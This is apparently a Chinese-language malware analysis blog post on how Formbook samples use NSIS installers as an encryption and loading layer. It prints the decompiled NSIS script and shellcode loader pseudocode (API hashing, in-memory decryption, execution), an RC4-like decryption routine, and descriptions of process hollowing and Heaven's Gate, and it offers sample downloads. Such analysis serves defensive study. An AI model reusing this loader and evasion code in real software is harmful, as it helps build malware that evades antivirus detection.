一、背景
NSIS(Nullsoft Scriptable Install System)是一个专门用于创建软件安装程序的框架。它允许将应用程序的各种文件捆绑在一起(即可执行文件、使用的 DLL、配置),以及控制> 它们下载地址,执行顺序是什么等。它是一个免费且强大的工具,给程序员带来便利的同时,也是在帮助恶意开发人员~
通过流行软件作为恶意软件第一层加密再进行传输,可以很好的解决恶意查杀等反病毒行为,最近几年NSIS的打包器也在不断进化,所以是时候做一个NSIS的基本复盘了。
二、样本
选取 Formbook 恶意软件样本进行分析,这两个都是通过NSIS打包:
- 8f80426cec76e7c9573a9c58072399af
- 包含:05dc8c8d912a58a5dde38859e741b2c0
- 98061ccf694005a78fcf0fbc8810d137
- 包含:f34bd301f4f4d53e2d069b4842bca672
如果你想跟着分析,或者作为其他用途的话,可以通过公众号回复: NSIS加密器 获取样本下载链接。密码: malware
三、分析
在老版本中NSIS打包的程序可以借助 7zip 15.05 提取打包的NSIS.nsi脚本文件,但是最新的版本以及不支持了。
在Formbook 样本中用7zip打开, NSIS的标准文件结构,如图:

System.dll 是任何 NSIS 打包安装程序的必装 DLL,负责执行脚本中的命令。它是要加载的压缩包内第一个组件。我们可以在每个样本中找到它。

主目下1kb文件是一个shellcode,标准开头: 0x55,0x8B,0xEC,0x81,0xEC


目录下另外两个文件都是加密的,想知道它们的内容就必须要知道NSIS的加载链:实例
Function .onInitInitPluginsDir; Call Initialize_____Plugins; SetDetailsPrint lastusedSetOutPath $INSTDIRFile 5e9ikl8w3iif7ipp6File 3ugs67ip868x5nFile tjdorfrldbgdlqSystem::Alloc 1024; Call Initialize_____Plugins; SetOverwrite off; File $PLUGINSDIR\System.dll; SetDetailsPrint lastused; Push 1024; CallInstDLL $PLUGINSDIR\System.dll AllocPop $0System::Call "kernel32::CreateFile(t'$INSTDIR\tjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10"; Call Initialize_____Plugins; File $PLUGINSDIR\System.dll; SetDetailsPrint lastused; Push "kernel32::CreateFile(t'$INSTDIR\tjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10"; CallInstDLL $PLUGINSDIR\System.dll CallSystem::Call "kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1"; Call Initialize_____Plugins; AllowSkipFiles off; File $PLUGINSDIR\System.dll; SetDetailsPrint lastused; Push "kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1"; CallInstDLL $PLUGINSDIR\System.dll CallSystem::Call "kernel32::ReadFile(i r10, i r0, i 1024, t., i 0) i .r3"; Call Initialize_____Plugins; File $PLUGINSDIR\System.dll; SetDetailsPrint lastused; Push "kernel32::ReadFile(i r10, i r0, i 1024, t., i 0) i .r3"; CallInstDLL $PLUGINSDIR\System.dll CallSystem::Call ::$0(); Call Initialize_____Plugins; File $PLUGINSDIR\System.dll; SetDetailsPrint lastused; Push ::$0(); CallInstDLL $PLUGINSDIR\System.dll CallCall func_80CreateDirectory "$APPDATA\High Fidelity\JimJamz"CopyFiles $EXEPATH "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe" ; "$(LSTR_7)$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe" ; "Copy to "CreateShortCut "$DESKTOP\High Fidelity JimJamz Event.lnk" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe"CreateDirectory "$SMPROGRAMS\High Fidelity JimJamz Event"CreateShortCut "$SMPROGRAMS\High Fidelity JimJamz Event\High Fidelity JimJamz Event.lnk" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe" "" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe"Call func_83Return
可以清楚看到脚本内的内存调用和也是通过virtualAlloc进行的,所以直接开始分析shellcode吧
shellcode-1 初始加载
shellcode载入到ida中可以看到标准框架,并没有其他处理:
v11[0] = '\\';v11[1] = '5';v11[2] = 'e';v11[3] = '9';v11[5] = 'k';v11[6] = 'l';v12 = 0;v11[7] = '8';v11[8] = 'w';v11[9] = '3';v11[12] = 'f';v11[13] = '7';v11[15] = 'p';v11[16] = 'p';v11[17] = '6';v11[4] = 'i';v11[10] = 'i';v11[11] = 'i';v11[14] = 'i';v11[18] = 0;kernelDll = *(***(*(__readfsdword(0x30u) + 12) + 12) + 24);j_CreatFile = findHash(kernelDll, 0x9C9F1603);j_lstrcatW = findHash(kernelDll, 0x6E39C84C);j_ReadFile = findHash(kernelDll, 0xC7BB5F4);j_VirtualAlloc = findHash(kernelDll, 0xA3E5DEA);j_GetTempPath = findHash(kernelDll, 0x710BC852);j_GetTempPath(259, v8);j_lstrcatW(v8, v11);v4 = j_CreatFile(v8, 0x80000000, 7, 0, 3, 128, 0);v5 = j_VirtualAlloc(0, 6661, 12288, 64);v6 = 0;j_ReadFile(v4, v5, 6661, &v12, 0);if ( v12 ){do{*(v5 + v6) = __ROR1__(__ROL1__(v6 + ((-38 - (((v6 ^ (v6 + (v6 ^ ((v6 ^ ~((v6 ^ *(v5 + v6)) - 49)) - 6)))) - 93) ^ 0xA0)) ^ 0x2F),2)- 69,3);++v6;}while ( v6 < v12 );}return v5();}
整个程序并不难理解,总结为:
- 下一个执行文件的名字被加载为一个基于栈的宽字符串
- kernel32.dll的base取自PEB
- 从 kernel32.dll 每个函数的名称校验和取出所需函数。CreateFileW、GetTempPathW、lstrcatW、ReadFile、VirtualAlloc、GetTempPathW。
- 函数GetTempPathW用于获取%TEMP%目录的路径,所有组件都在运行时自动提取NSIS 文件
- 下一个文件的名字连接到%TEMP%路径
- 为文件内容分配内存,将文件读入这个缓冲区
- 自定义解密算法正在缓冲区上应用(算法不同对于不同的样本)。缓冲区存放下一阶段 shellcode
- 最后执行下一个shellcode

哈希算法摘要:
int __fastcall sub_1E3(_BYTE *a1){int result; // eaxint v2; // edxfor ( result = 3800; ; result = v2 + 33 * result ){v2 = *a1;if ( !*a1 )break;++a1;}return result;}
通过解包之后的下阶段shellcode如图:

shellcode-2
这个阶段的shllcode负责执行load pe功能,并且结构和上一个阶段类似,堆栈存储文件名,并准备好密钥解密后续文件:

一样的hash操作:

解密后阶段文件:

解密算法类似Rc4:
void __stdcall decrypt_buf(BYTE *data, BYTE *key, unsigned int size){BYTE key_stream[512];int j;char next;int i;int v6 = 0;int v4 = 0;for ( i = 0; i < 256; ++i ){key_stream[i + 256] = i;key_stream[i] = key[i % size];}for ( i = 0; i < 256; ++i ){v6 = (key_stream[i] + v6 + key_stream[i + 256]) % 256;next = key_stream[v6 + 256];key_stream[v6 + 256] = key_stream[i + 256];key_stream[i + 256] = next;}v6 = 0;for ( j = 0; j < DATA_SIZE; ++j ){i = (i + 1) % 256;v6 = (v6 + key_stream[i + 256]) % 256;next = key_stream[v6 + 256];14/23key_stream[v6 + 256] = key_stream[i + 256];key_stream[i + 256] = next;v4 = (key_stream[v6 + 256] + key_stream[i + 256]) % 256;data[j] ^= key[j % size];data[j] ^= key_stream[v4 + 256];}}
loadPE
最后通过经典的ProcessHollowing启动PE文件:

为了干扰分析,开发者使用了被称之为 hell gate技术,也就是从 NTDLL 或其他内存模块动态提取和调用系统函数。可以追溯到 here,如果想深入了解可以参考 malwarebyte一篇16年的实例。
首先,从磁盘上的文件加载一个新的 NTDLL 副本,手动映射。然后,检索由其哈希定义的函数(使用与用于 从正常加载的 DLL 中检索导入)

这里会用到一个叫天堂之门的技术,就是让32位程序调用64位的函数,先把要进行系统调用的id先保存到eax中:

然后判断是否64位:

如果32位直接系统调用:

如果64位,则使用天堂门技术:

64位的api调用结果可以给32位使用。
具体的细节先不展开。
四、总结
相比较之前的NSIS打包器,7zip无法拿到.nsi脚本,那么很多流程都要靠猜测分析,但是处理的思路都是从主目录下一层一层拨,它的本质还是一个打包工具,当然,本人有幸看到毛子用nsis写了一个类似vmp的东西~~~~,可惜没保存,那个绝对是个狠人。